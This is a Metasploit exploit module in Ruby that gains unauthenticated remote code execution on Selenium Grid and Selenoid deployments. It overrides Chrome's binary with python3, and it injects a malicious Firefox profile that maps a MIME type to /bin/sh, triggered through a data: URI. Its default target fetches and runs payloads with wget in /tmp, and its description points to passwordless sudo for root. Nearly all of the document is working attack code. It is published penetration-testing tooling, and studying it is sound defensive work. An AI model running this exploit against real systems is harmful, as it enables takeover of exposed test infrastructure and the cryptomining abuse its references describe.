## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Module::Deprecated moved_from 'exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108' moved_from 'exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108' include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include Msf::Payload::Python prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Selenium Grid/Selenoid Unauthenticated RCE', 'Description' => %q{ Selenium Grid and Selenoid expose a WebDriver API that allows creating browser sessions with arbitrary capabilities. When deployed without authentication (the default for both), an attacker can achieve remote code execution through two browser-specific techniques: For Chrome, the goog:chromeOptions binary field can be set to an arbitrary executable such as /usr/bin/python3, since ChromeDriver does not validate it. This was fixed in Selenium Grid 4.11.0 via the stereotype capabilities merge. All Selenoid versions remain vulnerable. For Firefox, a custom profile containing a malicious MIME handler that maps application/sh to /bin/sh can be injected via moz:firefoxOptions. Navigating to a data: URI with that content type triggers shell execution. This technique has never been patched and works on all Selenium Grid versions including the latest release. The module auto-detects available browsers and selects the best attack vector. Firefox is preferred as it works on all Grid versions. The default Docker images run as seluser/selenium with passwordless sudo, allowing trivial privilege escalation to root. }, 'Author' => [ 'Jon Stratton', 'Wiz Research', 'Takahiro Yokoyama', 'Valentin Lobstein ' ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps'], ['URL', 'https://www.selenium.dev/blog/2024/protecting-unsecured-selenium-grid/'], ['URL', 'https://github.com/SeleniumHQ/selenium/issues/9526'], ['URL', 'https://github.com/JonStratton/selenium-node-takeover-kit/tree/master'], ['EDB', '49915'], ['CWE', '306'] ], 'Platform' => %w[python unix linux], 'Arch' => [ARCH_PYTHON, ARCH_CMD], 'Payload' => {}, 'Targets' => [ [ 'Python In-Memory', { 'Platform' => 'python', 'Arch' => ARCH_PYTHON } ], [ 'Unix/Linux Command Shell', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'FETCH_COMMAND' => 'WGET', 'FETCH_DELETE' => true, 'FETCH_WRITABLE_DIR' => '/tmp' } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2021-05-28', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options([ Opt::RPORT(4444), OptString.new('TARGETURI', [true, 'Base path to Selenium Grid or Selenoid', '/']), OptEnum.new('BROWSER', [true, 'Browser to exploit (auto detects and picks best vector)', 'auto', %w[auto firefox chrome]]) ]) end def check @backend = detect_backend return CheckCode::Unknown('No response from target') unless @backend @browsers = enumerate_browsers return CheckCode::Appears("#{@backend[:message]} (all versions vulnerable)") if selenoid? check_grid end def exploit @backend ||= detect_backend @browsers ||= enumerate_browsers browser = select_browser fail_with(Failure::NoTarget, 'No exploitable browser found on target') unless browser send("exploit_#{browser}") end private def selenoid? @backend&.dig(:type) == :selenoid end def session_path normalize_uri(target_uri.path, selenoid? ? 'wd/hub/session' : 'session') end def grid_version nodes = @backend&.dig(:value, 'nodes') return unless nodes.is_a?(Array) && !nodes.empty? version_raw = nodes.first['version'] return unless version_raw version_raw.split(/\s/).first end def chrome_vuln? return true if selenoid? ver = grid_version ver && Rex::Version.new(ver) < Rex::Version.new('4.11.0') && @browsers.include?('chrome') end def detect_backend %w[status wd/hub/status].each do |path| res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, path)) next unless res&.code == 200 value = res.get_json_document['value'] next unless value.is_a?(Hash) && value['message'].is_a?(String) msg = value['message'].downcase return { type: :selenoid, message: value['message'], value: value } if msg.include?('selenoid') return { type: :grid, message: value['message'], value: value } if msg.include?('selenium grid') end nil end def enumerate_browsers return [] unless @backend return selenoid_browsers if selenoid? grid_browsers end def selenoid_browsers browsers = @backend[:value]['browsers'] return %w[chrome firefox] unless browsers.is_a?(Hash) browsers.keys.map(&:downcase) end def grid_browsers nodes = @backend[:value]['nodes'] return [] unless nodes.is_a?(Array) nodes.flat_map { |n| (n['slots'] || []).map { |s| s.dig('stereotype', 'browserName')&.downcase } }.compact.uniq end def check_grid ver_str = grid_version return CheckCode::Detected('Selenium Grid detected but could not determine version') unless ver_str return CheckCode::Appears("Selenium Grid #{ver_str} with Firefox (all versions vulnerable to profile handler)") if @browsers.include?('firefox') return CheckCode::Appears("Selenium Grid #{ver_str} with Chrome (vulnerable to binary override)") if chrome_vuln? return CheckCode::Safe("Selenium Grid #{ver_str} - Chrome patched (stereotype merge), no Firefox available") if @browsers.include?('chrome') CheckCode::Detected("Selenium Grid #{ver_str} - no exploitable browsers found") end def select_browser choice = datastore['BROWSER'] if choice != 'auto' print_warning("#{choice} not available on target (found: #{@browsers.join(', ')})") unless @browsers.empty? || @browsers.include?(choice) return choice end if @browsers.include?('firefox') print_status('Auto-selected Firefox (profile handler - works on all Grid versions)') return 'firefox' end if @browsers.include?('chrome') && chrome_vuln? print_status('Auto-selected Chrome (binary override)') return 'chrome' end print_warning("Chrome binary override patched on Grid #{grid_version}, no Firefox available") if @browsers.include?('chrome') nil end def create_session(body) send_request_cgi('method' => 'POST', 'uri' => session_path, 'ctype' => 'application/json', 'data' => body) end def cleanup_session(session_id) res = send_request_cgi('method' => 'DELETE', 'uri' => normalize_uri(session_path, session_id), 'ctype' => 'application/json') print_status(res ? "Deleted session #{session_id}" : "Could not delete session #{session_id}. It may need to expire.") rescue StandardError nil end def exploit_chrome body = { 'capabilities' => { 'alwaysMatch' => { 'browserName' => 'chrome', 'goog:chromeOptions' => { 'binary' => '/usr/bin/python3', 'args' => ["-c#{build_python_payload}"] } } } }.to_json print_status('Sending Chrome session request with binary override...') res = create_session(body) return print_warning('No response received (expected - Python exits after execution)') unless res return print_good('Payload executed (server returned 500 as expected)') if res.code == 500 fail_with(Failure::UnexpectedReply, "Unexpected HTTP #{res.code}") unless res.code == 200 json = res.get_json_document return print_good("Payload executed (Chrome crash expected: #{json['value']['message']&.slice(0, 80)}...)") if json.dig('value', 'error') session_id = json.dig('value', 'sessionId') return unless session_id print_warning("Session #{session_id} created but binary override may have been ignored") cleanup_session(session_id) end def build_python_payload inner = target['Arch'] == ARCH_PYTHON ? payload.encoded : "os.system(#{payload.encoded.inspect})" py_create_exec_stub("import os,time\npid=os.fork()\nif pid==0:\n os.setsid()\n #{inner}\nelse:\n time.sleep(300)") end def exploit_firefox encoded_profile = build_malicious_profile body = { 'desiredCapabilities' => { 'browserName' => 'firefox', 'firefox_profile' => encoded_profile }, 'capabilities' => { 'firstMatch' => [{ 'browserName' => 'firefox', 'moz:firefoxOptions' => { 'profile' => encoded_profile } }] } }.to_json print_status('Creating Firefox session with malicious profile...') res = create_session(body) fail_with(Failure::UnexpectedReply, 'No response when creating session') unless res session_id = res.get_json_document.dig('value', 'sessionId') || res.get_json_document['sessionId'] fail_with(Failure::UnexpectedReply, 'Failed to create Firefox session') unless session_id print_status("Session created: #{session_id}") cmd = payload.encoded cmd = "echo -n #{Rex::Text.encode_base64(cmd)} | base64 -d | python3 &" if target['Arch'] == ARCH_PYTHON script = "#{cmd}\n" fetch_dir = datastore['FETCH_WRITABLE_DIR'] || '/tmp' fetch_file = datastore['FETCH_FILENAME'] register_file_for_cleanup("#{fetch_dir}/#{fetch_file}") if fetch_file print_status('Navigating to data: URI to trigger handler...') send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, selenoid? ? 'wd/hub' : '', "session/#{session_id}/url"), 'ctype' => 'application/json', 'data' => { 'url' => "data:application/sh;charset=utf-16le;base64,#{Rex::Text.encode_base64(script)}" }.to_json ) cleanup_session(session_id) end def build_malicious_profile stringio = Zip::OutputStream.write_buffer do |io| io.put_next_entry('handlers.json') io.write({ 'defaultHandlersVersion' => { 'en-US' => 4 }, 'mimeTypes' => { 'application/sh' => { 'action' => 2, 'handlers' => [{ 'name' => 'sh', 'path' => '/bin/sh' }] } } }.to_json) end stringio.rewind Base64.strict_encode64(stringio.sysread) end end